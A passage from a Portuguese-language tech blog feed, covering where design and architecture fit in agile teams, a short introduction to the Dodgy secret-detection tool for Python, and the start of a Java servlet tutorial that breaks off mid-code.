&lt;h2&gt;Onde cada um se encaixa?&lt;/h2&gt;
&lt;p&gt;Não é difícil imaginar o papel de &lt;em&gt;design&lt;/em&gt; sendo exercido no início de cada iteração, ou em &lt;em&gt;plannings&lt;/em&gt; e &lt;em&gt;groomings&lt;/em&gt;. Além disso,
ter essa responsabilidade diluída no time é natural em um contexto multidisciplinar.&lt;/p&gt;
&lt;p&gt;Ele pode acontecer também &quot;ahead of time&quot;. Por exemplo, participei de projetos dos quais os &quot;UXizes&quot; estavam alguns &lt;em&gt;sprints&lt;/em&gt; na frente, em
relação aos desenvolvedores. Algumas decisões de &lt;em&gt;design&lt;/em&gt; são tomadas com antecedência, e os resultados são apresentados ao longo do tempo de vida do projeto.&lt;/p&gt;
&lt;p&gt;Já a arquitetura pode exigir um pouco mais de organização e criatividade. Já tive diferentes experiências com esse dilema &quot;agile x software architecture&quot;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Todo mundo é arquiteto:&lt;/strong&gt; É o mesmo princípio do marco de &lt;em&gt;design&lt;/em&gt; ilustrado acima. Comum em &lt;em&gt;startups&lt;/em&gt; e empresas relativamente pequenas;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A gerência é o arquiteto:&lt;/strong&gt; Pode acontecer de gerentes técnicos, &lt;em&gt;team leads&lt;/em&gt;, ou &lt;em&gt;CTOs&lt;/em&gt; &quot;herdarem&quot; essa responsabilidade. Outro cenário comum em &lt;em&gt;startups&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Um arquiteto por time:&lt;/strong&gt; O papel é atribuído a um grupo de pessoas que compartilha uma visão em comum, e essas transitam entre os times afim de manter a visão coesa. &quot;Casa&quot; com a proposta de &lt;a href=&quot;https://medium.com/productmanagement101/spotify-squad-framework-part-i-8f74bcfcd761&quot; title=&quot;Spotify Squad framework — Part I&quot;&gt;&lt;em&gt;squads&lt;/em&gt;, &lt;em&gt;chapters&lt;/em&gt; e &lt;em&gt;tribes&lt;/em&gt; do &lt;em&gt;Spotify&lt;/em&gt;&lt;/a&gt;;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Um time de arquitetos:&lt;/strong&gt; O mesmo fenômeno que pode acontecer com &lt;em&gt;UI&lt;/em&gt;/&lt;em&gt;UX&lt;/em&gt;. Nesse caso temos um time específico para arquitetura, com seu próprio processo e &lt;em&gt;backlog&lt;/em&gt;, e ele acaba colaborando com os demais times.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;E &lt;strong&gt;quando&lt;/strong&gt; ela deve ser exercida pode ser outro desafio. &lt;em&gt;Miguel Arlandy&lt;/em&gt; sugere o seguinte processo no &lt;a href=&quot;https://medium.com/quick-code/software-architecture-and-agile-are-they-both-really-compatible-c1eef0afcbb1&quot;&gt;&quot;Software Architecture and Agile. Are they both really compatible?&quot;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) As a rule, it would be recommended to do some upfront design at the beginning of the project (Sprint Zero?) and before the first iteration. Besides, we should include an “Architecture review” as part of the Definition of Done (DoD) in each user story. Of course within the Sprint Planning, this fact has to be taken into account. It would be worthwhile if at least one of the team members (if not all of them) will be accountable to ensure both product development and Architecture are aligned.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Uma das possíveis respostas para as perguntas do início desse &lt;em&gt;post&lt;/em&gt; é o conceito de &lt;a href=&quot;https://www.scaledagileframework.com/agile-architecture/&quot; title=&quot;Agile Architecture in SAFe&quot;&gt;&lt;em&gt;Agile Architecture&lt;/em&gt;&lt;/a&gt;, usado pelo &lt;a href=&quot;https://www.scaledagileframework.com/&quot; title=&quot;Scaling Agile&quot;&gt;&lt;em&gt;SAFe Framework&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) is a set of values, practices, and collaborations that support the active, evolutionary design and architecture of a system. This approach embraces the DevOps mindset, allowing the architecture of a system to evolve continuously over time, while simultaneously supporting the needs of current users. It avoids the overhead and delays associated with the start-stop-start nature and large-scale redesign inherent with phase-gate processes and Big Up Front Design (BUFD).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Onde, resumidamente, inicia-se com um pouco de &lt;em&gt;upfront design&lt;/em&gt; que é retroalimentado pelos &lt;em&gt;feedbacks&lt;/em&gt;, &lt;em&gt;design&lt;/em&gt; e decisões futuras dos times autônomos.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 694px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/739c897b4e9dd67be089a75b216bfd65/31198/safe-design-architecture.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 40.10416666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABJElEQVQY03VQ207EIBDt/3+Mj/rgw8ZEo0ajiVk37rp1u6690gstFCiXQShJY6KekGEOHM7MEEmpRiastWA9lFJZlkEg1tYIOSqltH8hkrwn6ND2xBgdjqYf0jRNd9stpaN3XyxDAhCN7adAL2dXD1z4+loIgrGLWkpW18BY0IFSoDUYA1L5fKZREr/RJrl/fG6rijdtHsfVfl+u1/3pJAiRnCvca0L9ogRcU6H8HKMszdxmtBIDGTCum0ZMU1mWfuC6paOvDNrArIe5iQDfdvH1URfx+eomr9DAZDcw3A8Ioa7r0jTTSjuvILXLzMuHjc0RJXeXt095WU7GDlz3ZDTGYIzdm83rZrd7t/8gAkmbIr5YXR+OieNCGcbFcu1c4FfBBd9xHsyJ43DSpgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Nível de abstração entre Arquiteto e Time&quot;
        title=&quot;Exemplo de regulação entre arquitetura e design (medium.com)&quot;
        src=&quot;/static/739c897b4e9dd67be089a75b216bfd65/31198/safe-design-architecture.png&quot;
        srcset=&quot;/static/739c897b4e9dd67be089a75b216bfd65/8514f/safe-design-architecture.png 192w,
/static/739c897b4e9dd67be089a75b216bfd65/804b2/safe-design-architecture.png 384w,
/static/739c897b4e9dd67be089a75b216bfd65/31198/safe-design-architecture.png 694w&quot;
        sizes=&quot;(max-width: 694px) 100vw, 694px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de regulação entre arquitetura e design (medium.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Desse modo, teoricamente, é possível ter uma referência sólida de arquitetura, e ainda assim abrir espaço para inovação e alterações nessa referência. Outro aspecto interessante desse modelo é que é possível imaginá-lo com a proposta de &lt;em&gt;squads&lt;/em&gt; do &lt;em&gt;Spotify&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Acredito que o &lt;em&gt;agile&lt;/em&gt; e sua comunidade amadureceram o suficiente para compreender que alguns papéis mais &quot;tradicionais&quot; do desenvolvimento de &lt;em&gt;software&lt;/em&gt; precisam ser integrados à sua dinâmica. Quando em uma &lt;em&gt;startup&lt;/em&gt;, em que ainda é possível se ter a &quot;visão do todo&quot;, é completamente natural que engenheiros/desenvolvedores assumam responsabilidades de &lt;em&gt;design&lt;/em&gt; e arquitetura. Mas em um contexto mais &quot;enterprise&quot;, além de difícil, consome-se muito tempo &quot;tentando tirar a cabeça da areia&quot; e olhar em volta, principalmente se o processo esteja montado em torno de times autônomos.&lt;/p&gt;
&lt;p&gt;Independente de quem desempenhe tais papéis, essa característica &quot;iterativa/incremental&quot; que conceitos como o &lt;em&gt;Agile Architecture&lt;/em&gt; trazem são bem interessantes, e combinam completamente com os valores que desenvolvedores de &lt;em&gt;software&lt;/em&gt; mais se identificam quando adotando ferramentas ágeis.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://atomicobject.com/resources/oo-programming/crc-cards&quot;&gt;Atomic Object - CRC Cards&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://codeburst.io/software-architecture-the-difference-between-architecture-and-design-7936abdd5830&quot;&gt;Codeburst.io - Software Architecture: The Difference Between Architecture And Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.coursera.org/learn/object-oriented-design/home/welcome&quot;&gt;Coursera - Object-Oriented Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dzone.com/articles/%E2%80%9C41%E2%80%9D-view-model-software&quot;&gt;DZone - The “4+1” View Model of Software Architecture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.experienceux.co.uk/faqs/what-is-wireframing/&quot;&gt;Experience UX - What is wireframing?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.lucidchart.com/pages/pt/o-que-e-diagrama-entidade-relacionamento&quot;&gt;Lucidchart - O que é um diagrama entidade relacionamento?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@kostadisroussos/21-architecturalist-papers-always-be-right-right-now-1552af8dc330&quot;&gt;Medium - 21 architecturalist papers: always be right, right now.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@designveloper.com/what-is-software-development-862fdcccd3b&quot;&gt;Medium - What is Software Development?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/quick-code/software-architecture-and-agile-are-they-both-really-compatible-c1eef0afcbb1&quot;&gt;Quick Code - Software Architecture and Agile. Are they both really compatible?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.scaledagileframework.com/agile-architecture/&quot;&gt;Scaled Agile Framework - Agile Architecture in SAFe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.uxpin.com/studio/blog/what-is-a-mockup-the-final-layer-of-ui-design/&quot;&gt;UXPin - What is a Mockup: The Final Layer of UI Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.visual-paradigm.com/guide/uml-unified-modeling-language/what-is-uml/&quot;&gt;Visual Paradigm: What is Unified Modeling Language (UML)?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.visual-paradigm.com/guide/uml-unified-modeling-language/modeling-software-architecture-with-package/&quot;&gt;Visual Paradigm: Modeling Software Architecture with Packages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikipedia.org/wiki/Requisito_n%C3%A3o_funcional&quot;&gt;Wikipedia - Requisito não funcional&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Assegure a qualidade do seu código Python - Dodgy]]></title><description><![CDATA[Ferramentas de qualidade de código parece um tópico com conteúdo infinito
quando o assunto é Python. Hoje a dica é rápida e rasteira, de uma…]]></description><link>https://klauslaube.com.br/2019/12/18/assegure-qualidade-seu-codigo-python-dodgy.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/12/18/assegure-qualidade-seu-codigo-python-dodgy.html</guid><pubDate>Wed, 18 Dec 2019 08:10:00 GMT</pubDate><content:encoded>&lt;p&gt;Ferramentas de &lt;a href=&quot;/tag/qualidade.html&quot; title=&quot;Leia mais sobre qualidade&quot;&gt;qualidade de código&lt;/a&gt; parece um tópico com conteúdo infinito
quando o assunto é &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;. Hoje a dica é rápida e rasteira, de uma ferramenta
extremamente simples, mas que pode ser muito útil para dar aquele &quot;up&quot; no quesito segurança do seu projeto. Apresento-lhe
o &lt;a href=&quot;https://github.com/landscapeio/dodgy&quot; title=&quot;Veja o repositório no Github&quot;&gt;&lt;em&gt;Dodgy&lt;/em&gt;&lt;/a&gt;!&lt;/p&gt;
&lt;h2&gt;Talk is cheap...&lt;/h2&gt;
&lt;p&gt;Tudo começa com o nosso queridíssimo comando &lt;code class=&quot;language-text&quot;&gt;pip install&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install dodgy&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E na sequência, com a execução do utilitário via terminal:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ cd ~/hello-world-em-django/
$ dodgy
{
    &quot;warnings&quot;: [
        {
        &quot;path&quot;: &quot;hello_world/settings.py&quot;,
        &quot;line&quot;: 23,
        &quot;code&quot;: &quot;secret&quot;,
        &quot;message&quot;: &quot;Possible hardcoded secret key&quot;
        }
    ]
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;Dodgy&lt;/em&gt; é uma ferramenta de código aberto, que tem
por objetivo utilizar expressões regulares para inspecionar o seu código e identificar problemas como &lt;code class=&quot;language-text&quot;&gt;diffs&lt;/code&gt; esquecidos
nos arquivos, senhas expostas, e &lt;em&gt;secrets&lt;/em&gt; (como o exemplo acima) sendo &quot;commitados&quot;. A biblioteca é extremamente simples,
e caso você não goste do &quot;barulho&quot; que o &lt;a href=&quot;/2019/02/21/assegure-qualidade-seu-codigo-python-bandit.html&quot; title=&quot;Leia mais sobre Bandit&quot;&gt;&lt;em&gt;Bandit&lt;/em&gt;&lt;/a&gt;
faz, pode ser uma alternativa.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/1a27dd338f27cf4defade1b51f89730c/50383/dodge-this.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQozwGfAmD9AKzC0r7a6Lva6M7o8OH09+v4+fT+/tzm5enu7fv//6mvsnBucaq9xpyutnRxddXX2f////z8+/7///P8/QAzPU2Ak52709ra9vbn/v72///Y3d9wbnKinpz///+6vL2TlpSzys2dr7eCfoW3vcTR2d7m7u/Z4uTX5usACAgXFhcoMTVCZW1xlJ2YqKyqgXp/a2VofXh53OXhvMfEtsfDtsjHn622f3iBSUFKOC05qbm7gYaKk5eeABIRHignMS0sLiMiJTQzNDw6OU5KSWJcVl9dVF5hWW9ybJCWmH99hIiIi1E8OFZCOD0yM4OEh3x8fXxycAARERsgICUnJykmJSYkJCkhISUkIiUpJiVAPzhCQT48ODeGg391cXZ6c2tzV0d4X0xFNzZIOT1QQUJsX1kAFxUaNDAvODEvGRgaKCQnKCUlJSIhRDs3NjAwJCQnNjIxg29ttaypqKuln4FqnYp2c2ptW1JQXFJQfHNsAEQ/QFVRS1RQRUtMOFZXQWhoWisoKWthWnRUTxkTGBQRGmY6M76omtrV0XVeTGpdVI6IfcDCvru/vr6/vQBrbFhkZk9rbVqKjYKlqqrO1uVobXJPSUJ8XlFaOzRPLSmVcVeqlGuahWYWEhYAABYyMTa+vry9vb+6urcAeXh1nZyhuLrIyc7hy9HlxtDkxMzewsfaiIB8TSogeEo0jXJXuLewRUE8BwcPExUiQEFBsbOwu7u4trawAMnJ28zM3sjK3MXH18PH1sHI2cfQ49Pe97q+ylpBNGA5JZiTjM/d8GltbAkHDB0cIWZgTbayprq7trO0qwDBvsm+vse7u8G6ur+7u8G+v8i/v8q9v8zDydm7vsi3tr3AxtPN1N2Gi4gBAQkODxhkYFCnoJG5urSwsqdu6FGLb3JrKwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Trinity em The Matrix&quot;
        title=&quot;Desvia disso! (vulturehound.co.uk)&quot;
        src=&quot;/static/1a27dd338f27cf4defade1b51f89730c/50383/dodge-this.png&quot;
        srcset=&quot;/static/1a27dd338f27cf4defade1b51f89730c/8514f/dodge-this.png 192w,
/static/1a27dd338f27cf4defade1b51f89730c/804b2/dodge-this.png 384w,
/static/1a27dd338f27cf4defade1b51f89730c/50383/dodge-this.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Desvia disso! (vulturehound.co.uk)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;E claro, podemos utilizá-la com o &lt;a href=&quot;https://pre-commit.com/&quot; title=&quot;pre-commit hooks&quot;&gt;&lt;em&gt;pre-commit&lt;/em&gt;&lt;/a&gt;. Adicione o seguinte &lt;em&gt;snippet&lt;/em&gt; ao &lt;code class=&quot;language-text&quot;&gt;.pre-commit-config.yaml&lt;/code&gt; do seu projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;repos&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//github.com/kplaube/pre&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;commit&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;dodgy
    &lt;span class=&quot;token key atrule&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;0.0.1&quot;&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;hooks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; dodgy&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Podemos utilizá-la nos editores também. Ganhamos o utilitário &quot;de graça&quot; com o uso do &lt;a href=&quot;https://prospector.readthedocs.io/en/master/index.html&quot; title=&quot;Python Static Analysis&quot;&gt;&lt;em&gt;Prospector&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Para quem está dando os primeiros passos em direção a um controle mais apurado de um projeto, o &lt;em&gt;Dodgy&lt;/em&gt; pode ser uma boa pedida. Mas na realidade, se você está querendo de fato maior segurança, vá para o &lt;a href=&quot;https://github.com/PyCQA/bandit&quot; title=&quot;Find common security issues in Python code&quot;&gt;&lt;em&gt;Bandit&lt;/em&gt;&lt;/a&gt;, sem medo de ser feliz.&lt;/p&gt;
&lt;p&gt;Ou utilize o &lt;em&gt;Prospector&lt;/em&gt; e tenha os dois à disposição ¯\_(ツ)_/¯&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Engatinhando em Java para a web - Parte 3]]></title><description><![CDATA[No post anterior falamos sobre a especificação
Servlet, bem como sobre o uso de JavaServer Pages e Expression Language.
Para finalizar o…]]></description><link>https://klauslaube.com.br/2019/12/10/engatinhando-em-java-web-parte-3.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/12/10/engatinhando-em-java-web-parte-3.html</guid><pubDate>Tue, 10 Dec 2019 13:50:00 GMT</pubDate><content:encoded>&lt;p&gt;No &lt;a href=&quot;/2019/12/02/engatinhando-em-java-web-parte-2.html&quot; title=&quot;Confira a parte 2&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt; falamos sobre a especificação
&lt;em&gt;Servlet&lt;/em&gt;, bem como sobre o uso de &lt;em&gt;JavaServer Pages&lt;/em&gt; e &lt;em&gt;Expression Language&lt;/em&gt;.
Para finalizar o protótipo proposto, e encerrar essa introdução ao &lt;a href=&quot;/tag/java.html&quot; title=&quot;Leia mais sobre Java&quot;&gt;&lt;em&gt;Java&lt;/em&gt;&lt;/a&gt;,
precisamos implementar o método &lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt;, e durante esse percurso abordaremos os conceitos de &lt;em&gt;filters&lt;/em&gt; e &lt;em&gt;listeners&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;doGet e doPost&lt;/h2&gt;
&lt;p&gt;Recaptulando o protótipo: Precisamos implementar a funcionalidade de adicionar uma tarefa ao &lt;em&gt;todo list&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7ca9804f928b464741517e0eb94c0810/07f3a/cypher-ignorance.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAUE/8QAFQEBAQAAAAAAAAAAAAAAAAAAAgH/2gAMAwEAAhADEAAAAZTMNsIwr//EABgQAQADAQAAAAAAAAAAAAAAAAEAAgMR/9oACAEBAAEFAtc+OVat+YkbNoKTrP/EABcRAQADAAAAAAAAAAAAAAAAAAABEjH/2gAIAQMBAT8BjVn/xAAYEQACAwAAAAAAAAAAAAAAAAAAEQESYf/aAAgBAgEBPwFSimn/xAAaEAACAwEBAAAAAAAAAAAAAAAAIQECMRAR/9oACAEBAAY/AvYwxDrQci5//8QAGRABAQEBAQEAAAAAAAAAAAAAAQARITFB/9oACAEBAAE/IeUAnhdnofG0povamd1ZLOrf/9oADAMBAAIAAwAAABDgz//EABYRAQEBAAAAAAAAAAAAAAAAAAEAMf/aAAgBAwEBPxBAGSuX/8QAGBEAAwEBAAAAAAAAAAAAAAAAAAEhEWH/2gAIAQIBAT8QcO0XY//EABoQAQACAwEAAAAAAAAAAAAAAAEAESFBYVH/2gAIAQEAAT8QBarCcvQ8i6wAji9vkQHB3cUFEKL1Fy0lNeRAlXKz/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Cypher em The Matrix&quot;
        title=&quot;Se continuar no Python é ficar na Matrix, pode me deixar lá (filmfoodsafari.wordpress.com)&quot;
        src=&quot;/static/7ca9804f928b464741517e0eb94c0810/07f3a/cypher-ignorance.jpg&quot;
        srcset=&quot;/static/7ca9804f928b464741517e0eb94c0810/7809d/cypher-ignorance.jpg 192w,
/static/7ca9804f928b464741517e0eb94c0810/4ecad/cypher-ignorance.jpg 384w,
/static/7ca9804f928b464741517e0eb94c0810/07f3a/cypher-ignorance.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Se continuar no Python é ficar na Matrix, pode me deixar lá (filmfoodsafari.wordpress.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Se inspecionarmos o método &lt;code class=&quot;language-text&quot;&gt;service&lt;/code&gt; da classe &lt;code class=&quot;language-text&quot;&gt;HttpServlet&lt;/code&gt;, veremos que ele já se encarrega de determinar qual verbo &lt;em&gt;HTTP&lt;/em&gt;
está sendo utilizado pela requisição. Portanto, ao invés de sobrescrevê-lo, é mais eficiente implementarmos os métodos nos quais
queremos suportar.&lt;/p&gt;
&lt;p&gt;Renomeie o método &lt;code class=&quot;language-text&quot;&gt;service&lt;/code&gt; para &lt;code class=&quot;language-text&quot;&gt;doGet&lt;/code&gt;, e crie um método vazio para o &lt;code class=&quot;language-text&quot;&gt;doPost&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@WebServlet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;urlPatterns &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;OlaMundoServlet&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpServlet&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; tarefas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ArrayList&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Tarefa A&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
